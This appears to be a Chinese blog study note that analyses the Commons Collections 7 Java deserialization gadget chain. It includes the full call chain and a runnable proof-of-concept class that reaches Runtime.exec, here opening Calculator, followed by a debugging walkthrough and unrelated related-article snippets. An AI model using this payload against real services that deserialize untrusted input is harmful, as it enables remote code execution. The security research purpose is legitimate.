CommonsCollection7反序列化链学习
CommonsCollections7
1、前置知识
Hashtable
Hashtable实现了Map接口和Serializable接口,因此,Hashtable现在集成到了集合框架中。它和HashMap类很相似,但是它支持同步,像HashMap一样,Hashtable在哈希表中存储键/值对。当使用一个哈希表,要指定用作键的对象,以及要链接到该键的值。然后,该键经过哈希处理,所得到的散列码被用作存储在该表中值的索引。
//默认没有参数的构造方,新建为11容量的Hashtable
public Hashtable() {
this(11, 0.75f);
}
//也可以指定容量
public Hashtable(int initialCapacity) {
this(initialCapacity, 0.75f);
}
//将指定 key 映射到此哈希表中的指定 value。
public void put(Object key, Object value)
//
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
2、POC利用
2.1、利用链
/*
Payload method chain:
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
*/
2.2、POC
2.2.1、漏洞复现
package com.akkacloud;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CommonsCollection7 {
public static void main(String[] args) throws Exception {
// Reusing transformer chain and LazyMap gadgets from previous payloads
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"open /System/Applications/Calculator.app"})
};
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
//使用冲突哈希创建两个Lazymap,以便在readObject期间强制成功进入for循环调用reconstitutionPut
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers);
// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
// serialize(hashtable);
unserialize();
}
public static void serialize(Object obj ) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.bin"));
objectOutputStream.writeObject(obj);
}
public static void unserialize() throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.bin"));
objectInputStream.readObject();
}
}

2.2.2、POC分析
由于跟cc6很相似,不再重复说明,直接看两者不同的地方.
主要是hashtable的add方法把Lazymap加入其中,但是为什么要put两次呢,就是存两个lazyMap2到hashtable中呢?
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
//使用冲突哈希创建两个Lazymap,以便在readObject期间强制进行元素比较
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers);
// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
我们来看Hashtable的readObject方法。发现循环调用调用reconstitutionPut方法,elements就是我们传入Hashtable的元素个数,
先看传入的第一个元素既lazymap1,reconstitutionPut方法的参数table就是一个长度为5的空Entry<>[],key是Lazymap1,value为1,就是我们第一个put进去的元素。跟进reconstitutionPut

我们的漏洞点在for循环里面,但是第一次我们的tab为空,根本进不去,但是在后面会用我们传入的key和value新创建一个Entry<>,并且赋值给tab[index],这就是我们为什么要put两个lazymap到Hashtable里,用于进入reconstitutionPut的for循环去触发我们的漏洞点equal方法。

至于最后的lazyMap2.remove("yy"),就是因为我们我们真正在LazyMap中要确保没有键值对关系,才能调用transform方法,跟cc6的一样的理由,不懂可以仔细看看cc6

2.2.3、POC调试
在Hashtable的readObject方法处打断点,第一遍进入reconstitutionPut

第一遍进入的主要目的是为了给tab赋值,以便第二次可以进入循环的equal方法

第二遍成功进入for循环,此时的key就是我们设置空的lazymap

跟进AbstractMapDecorator的equal方法,继续进入equal方法

AbstractMap的equal方法,获取我们传入的lazymap的key和value,key为lazymap,value就是1,我们一开始构造的空lazymap,进入get方法,m就是我们传入的lazymap,所以是进入到lazymap的get方法,继续跟进

进入lazymap后,就会反射把lazymap中ChainedTransformer修改为我们的恶意类。此处就是为什么要去除yy键值对的关系(lazyMap2.remove("yy");),去除后才能进入if里面执行transform方法。

继续跟进ChainedTransformer的transform方法,循环结束就会RCE

2.3、思维导图

CommonsCollection7反序列化链学习的更多相关文章
- CommonsCollection6反序列化链学习
CommonsCollection6 1.前置知识 1.1.HashSet HashSet 基于 HashMap 来实现的,是一个不允许有重复元素的集合.继承了序列化和集合 构造函数参数为空的话创建一 ...
- C3P0反序列化链学习
C3P0 c3p0第一次听闻是用于fastjson的回显上,大佬们总结三种方法,后面两种主要就是用于fastjson和jackjson的回显利用(注入内存马) http base jndi hex序列 ...
- CommonsCollection4反序列化链学习
CommonsCollection4 1.前置知识 由于cc4没有新的知识点,主要是用cc2,然后稍微cc3结合了,所以我们可以看ysoserial源码,自己尝试构造一下,把cc2通过获取Invoke ...
- URLDNS反序列化链学习
URLDNS URLDNS跟CommonsCollections比起来真是眉清目秀,该链主要用于验证漏洞,并不能执行命令,优点就是不依赖任何包. 1.利用链 * Gadget Chain: * Has ...
- GNU工具链学习笔记
GNU工具链学习笔记 1..so为动态链接库,.a为静态连接库.他们在Linux下按照ELF格式存储.ELF有四种文件类型.可重定位文件(Relocatable file,*.o,*.a),包含代码和 ...
- 安洵杯iamthinking(tp6反序列化链)
安洵杯iamthinking tp6pop链 考点: 1.tp6.0反序列化链 2.parse_url()绕过 利用链: 前半部分利用链(tp6.0) think\Model --> __des ...
- Fastjsonfan反序列链学习前置知识
Fastjson前置知识 Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象. Fastjson 可以操作任何 ...
- Fastjson JdbcRowSetImpl利用链学习
JdbcRowSetImpl 接着继续学习fastjson的第二条链JdbcRowSetImpl,主要是利用jndi注入达到的攻击,而且没有什么利用限制,而且其原理就是setter的自动调用,具体se ...
- JS 原型链学习总结
废话篇: 在js的学习过程中有一大难点就是原型链.学习的时候一直对这一内容不是十分的明白.纠结的我简直难受.,幸好总算给他弄通了,哇咔咔,总算可以不用在睡梦中还想着他了. 正文篇: 要了解原型链我们首 ...
随机推荐
- PHP-文件上传封装类
<?php $file = $_FILES['img']; $obj = new File(); $res = $obj->upload($file,'upload'); if($res) ...
- System x 服务器制作ServerGuide U盘安装Windows Server 2012 R2操作系统
以下内容来源于:联想官方知识库 http://iknow.lenovo.com.cn/detail/dc_154773.html 本例介绍以U盘方式,通过ServerGuide引导在System x ...
- Casbin入选2022 Google编程之夏
Casbin入选2022 Google编程之夏! Google编程之夏(Google Summer of Code,GSoC),是由Google公司所主办的年度开源程序设计项目,第一届从2005年开始 ...
- java8中CompletableFuture的使用介绍
既然CompletableFuture类实现了CompletionStage接口,首先我们需要理解这个接口的契约.它代表了一个特定的计算的阶段,可以同步或者异步的被完成.你可以把它看成一个计算流水线上 ...
- Tomcat高级配置(应用场景总结及示例)
前言 本文将解决以下问题: 如何将Linux下任意位置的项目(虚拟目录)部署到tomcat? 如何将项目部署到服务器特定端口? 如何在一个服务器上部署多个web应用? 本例中 系统:Linux ver ...
- Mybaties——动态sql
动态 SQL 是 MyBatis 的强大特性之一.如果你使用过 JDBC 或其它类似的框架,你应该能理解根据不同条件拼接 SQL 语句有多痛苦,例如拼接时要确保不能忘记添加必要的空格,还要注意去掉列表 ...
- python3生成一个含有20个随机数的列表,要求所有元素不相同,并且每个元素的值介于1到100之间
import random alist = random.sample(range(1,101),20) #random.sample()生成不相同的随机数 print(alist)
- 阿里云镜像站DNS——Chrome配置方法
镜像下载.域名解析.时间同步请点击 阿里巴巴开源镜像站 DNS 简介 域名系统(服务)协议(DNS)是一种分布式网络目录服务,主要用于域名与 IP 地址的相互转换,以及控制因特网的电子邮件的发送. 阿 ...
- Java基础(补充)
为什么 Java 中只有值传递? 开始之前,我们先来搞懂下面这两个概念: 形参&实参 值传递&引用传递 形参&实参 方法的定义可能会用到 参数(有参的方法),参数在程序语言中分 ...
- 解决IDEA的maven项目 添加依赖后Reimport无反应
解决IDEA的maven项目 添加依赖后Reimport无反应 如果重启项目和编译器都不管用的话, 找到项目在硬盘上的位置 把该项目的.idea文件夹和xxx.iml文件删除 打开IDEA ...